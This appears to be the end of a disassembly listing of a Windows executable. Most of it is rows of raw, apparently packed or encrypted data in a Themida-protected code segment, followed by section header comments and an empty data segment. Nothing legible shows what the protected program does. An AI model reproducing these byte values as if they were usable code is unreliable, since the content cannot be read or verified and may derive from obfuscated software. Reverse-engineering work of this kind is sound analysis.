dd 19EAC323h, 0E0FBB9C5h, 9E92BBEh, 0C2000000h, 50A51B3h
dd 755D8986h, 9E8h, 28304400h, 0EF2559C3h, 0F605095h, 8Fh
dd 0E85F6100h, 0Eh, 366322CEh, 0DB8924Eh, 4845D4AFh, 0F860BF0Dh
dd 61CBB70Fh, 0CBB70F5Fh, 2850Fh, 0D78B0000h, 13E9h, 6FCF3300h
dd 0FD345D2Eh, 0A83BBDB0h, 6D31D76h, 8A46DD89h, 0BE852h
dd 9E1A0000h, 7EBEE2Fh, 6FC39665h, 665F5852h, 0EEBBD281h
dd 0DEBC36BBh, 8E86Ch, 92CD0000h, 63052975h, 0FE99C03h
dd 6C000000h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh, 575A0DCAh
dd 0DE9h, 2DD16A00h, 6E04531Ah, 0F047413Ch, 0B2588D0Eh
dd 48C88107h, 0F1DE243h, 0FF9F2BFh, 1582h, 0DE800h, 0F8390000h
dd 0E56CC8F5h, 0C5D0695Eh, 607F5B2Eh, 0BE665B61h, 0D6819194h
dd 66A9F738h, 9E9h, 0BF49A300h, 671DA23Bh, 14E85F91h, 71000000h
dd 0B40F18D2h, 60A957F6h, 0E382E5A8h, 97E67E04h, 0E9330EBEh
dd 5, 4CB5078h, 0FF85B26h, 0E68AC3B7h, 5E8h, 0EEFFAE00h
dd 830F79FBh, 2, 0F95891B3h
dd 0ACC8DE81h, 8B5020BCh, 0F38B5FC6h, 7B9AE281h, 0E6803960h
dd 0C8B70F92h, 820FAEB6h, 1Bh, 158E0Fh, 0FE80000h, 4C000000h
dd 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 0B3583EA3h, 0E78166BDh
dd 8B6D071h, 10E9h, 74168A00h, 0A46055D7h, 0E8C68A9Bh
dd 411F2133h, 58E0F40h, 66000000h, 56CDE181h, 27C88166h
dd 8E8609Eh, 6A000000h, 0F56CF84Ah, 8BA464B4h, 0C38B5AD0h
dd 9E961h, 0E31E0000h, 579CB740h, 50E8D1FFh, 5830F5Fh
dd 0B8000000h, 0CFE28C7h, 52BBDE8Ah, 6631CD38h, 0AEB2CE8Bh
dd 0B4F38B66h, 48E0F8Eh, 56000000h, 665E5E51h, 0ABD9C781h
dd 4C9ED5B8h, 0F2B70F41h, 0AE9h, 6A967A00h, 5ED03CCFh
dd 0B82E24EEh, 438FEB4Ah, 60FFB70Fh, 0DE9h, 0DFD87800h
dd 0EFEA2164h, 7F3A15C0h, 0F6166CDh, 380h, 0C88B6600h
dd 7E8h, 0AC91C200h, 9FC563C7h, 7AE18166h, 8D0F5F4Ah, 0Ch
dd 7E9h, 1515BD00h, 45BE3C3Dh, 8B6660F5h, 0BF0F50F7h, 0BF615ED0h
dd 4123C6ACh, 4ABA56F9h, 5A69991Eh, 0E2D18166h, 30B96677h
dd 66A1B165h, 8D0FF08Bh, 4, 0B4F6BB66h, 6FC08166h, 9E92Bh
dd 75AF0000h, 0C3A8DEA4h, 60EA17D9h, 66FB8B66h, 6661C28Bh
dd 8D10CE81h, 0BFFB8BFCh, 4F2050CCh, 90E08166h, 5E8AAh
dd 56EE0000h, 50BF92DFh, 595BF98Bh, 5E960h, 49650000h
dd 0F1FD499h, 28Bh, 61D08A00h, 0BE8h, 0BC2E8C00h, 242BB70h
dd 0F8C8811Ch, 5ECABF0Fh, 0F7BF0F57h, 0DE958h, 0B50000h
dd 0DF4FA1E1h, 0CB52D855h, 609B31FEh, 0FCC0B70Fh, 0F88B6661h
dd 0DFC78166h, 0C78166B8h, 8B5708AFh, 0E2B35ACEh, 94BBC88Bh
dd 806F9944h, 0BF0F5ECDh, 4DEAB8F7h, 0BE82070h, 5B000000h
dd 0D1F9E977h, 0D969C902h, 8E0F778Dh, 6, 546AD281h, 0B95A4FF6h
dd 7A5741CCh, 18F0Fh, 60F80000h, 9FC0B966h, 12E9h, 0B71A8900h
dd 6A92C0F6h, 9199ACE3h, 0F3425219h, 611854CEh, 10E9h
dd 0AF3B2A00h, 885A1B72h, 9E8979F0h, 3CAA5D1Ch, 71C6817Dh
dd 0E8790309h, 14h, 789F6B7Ch, 0C8822839h, 0AB442DA3h
dd 48DDC30Ch, 0D611EE35h, 7E960h, 10C40000h, 0F997175Ch
dd 0E9CB80C7h, 12E85961h, 0F2000000h, 40940550h, 69A561BEh
dd 0F07C560Dh, 6B5F432Dh, 0EE86030h, 0BF000000h, 496875CBh
dd 7FAFBE46h, 0C69E7368h, 0F68158A4h, 752C0173h, 0B9665861h
dd 0CE818FB6h, 7212D814h, 0A573BB66h, 14E8D08Bh, 78000000h
dd 4743D599h, 0D2A55052h, 317C4DA4h, 378B929h, 58D9FEA3h
dd 0E9F8FD8Ah, 0Dh, 1705258Fh, 45F40B86h, 6ADF1E28h, 43BF664Eh
dd 1BC38051h, 0CA81D38Bh, 7DD45F59h, 4800Fh, 0BA660000h
dd 48B38492h, 66F78B66h, 6A19C281h, 0E6D2C381h, 56BA19CDh
dd 0F5104698h, 8E9h, 948D2400h, 66CB7A88h, 0AE8D4h, 48A30000h
dd 0A4DAE60Bh, 98551F55h, 0FAB70F60h, 8A0Fh, 59610000h
dd 14F4BA66h, 0E9F9F88Bh, 6, 0AE0AC0BEh, 81666A81h, 0E9CC95DEh
dd 14h, 0CBD5D162h, 0D70FB1CBh, 3E22CB86h, 7FD12C9Ch, 5FD93DAh
dd 0FCEBF0Fh, 0DF8BDEB7h, 8F0F5852h, 0Dh, 8E9h, 1869D600h
dd 22F7E7ECh, 7C880B2h, 0BF66CC8Ah, 5651F507h, 6E9h, 9A372500h
dd 5B642E44h, 0CA81665Eh, 0D38030ABh, 93BB6625h, 552FBB05h
dd 0E6802E1Eh, 0F9E1803Ch, 0F3D580F5h, 3093C181h, 0F60210Bh
dd 9E9F0BFh, 0D1000000h, 2AD8BDA7h, 0F69A399Ah, 0FA8B5161h
dd 0EE85Ah, 0F17E0000h, 0C62AECADh, 0B6A56C88h, 444926FFh
dd 13E9h, 30176F00h, 0D69FE965h, 1586192Dh, 0C9806460h
dd 0E25B53FFh, 0C5BF665Eh, 0FDD8A71h, 0A3BBD3BFh, 6602DE57h
dd 6651D88Bh, 0CA69C081h, 0C0B70F5Bh, 5FADB050h, 0D1CF8166h
dd 2C48BA9Bh, 0F5515820h, 6694B558h, 8F0FC18Bh, 9, 3840Fh
dd 0B70F0000h, 0D38B66D9h, 80F3BF0Fh, 0BE9DBF4h, 3000000h
dd 8CFC99A1h, 0AC2EBC8Ch, 39BF803Ah, 662BE0A9h, 0BE8C18Bh
dd 36000000h, 23BBEFEBh, 0E2DE5E80h, 8FBF4709h, 583439BFh
dd 58C0Fh, 56600000h, 0E961F95Bh, 0Dh, 8BF2560Bh, 84CA50F1h
dd 0C9340971h, 0E800FFBh, 0E9000000h, 9, 0ED85131h, 817FDE25h
dd 8166FCC9h, 0E97D60F6h, 5, 8B091E0Ah, 0BE9F9E6h, 6E000000h
dd 3ED472DEh, 0BD568C5Eh, 0C3BF52F1h, 0B120294Dh, 0F18B6622h
dd 0BBADBB66h, 770CB966h, 91F9D08Bh, 90h dup(910F47E5h)
dd 223A6EE5h, 207h dup(223A6ED5h), 0FB3A6ED5h, 56Fh dup(0FB26D113h)
dd 77E22B13h, 14Dh dup(77E22BBDh), 0CCE22BBDh, 0AA8h dup(0CCCCCCCCh)
dd 0CCCCCCh, 9Ch dup(0)
Themida_ ends
; Section 5. (virtual address 001C0000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001C0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5C0000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start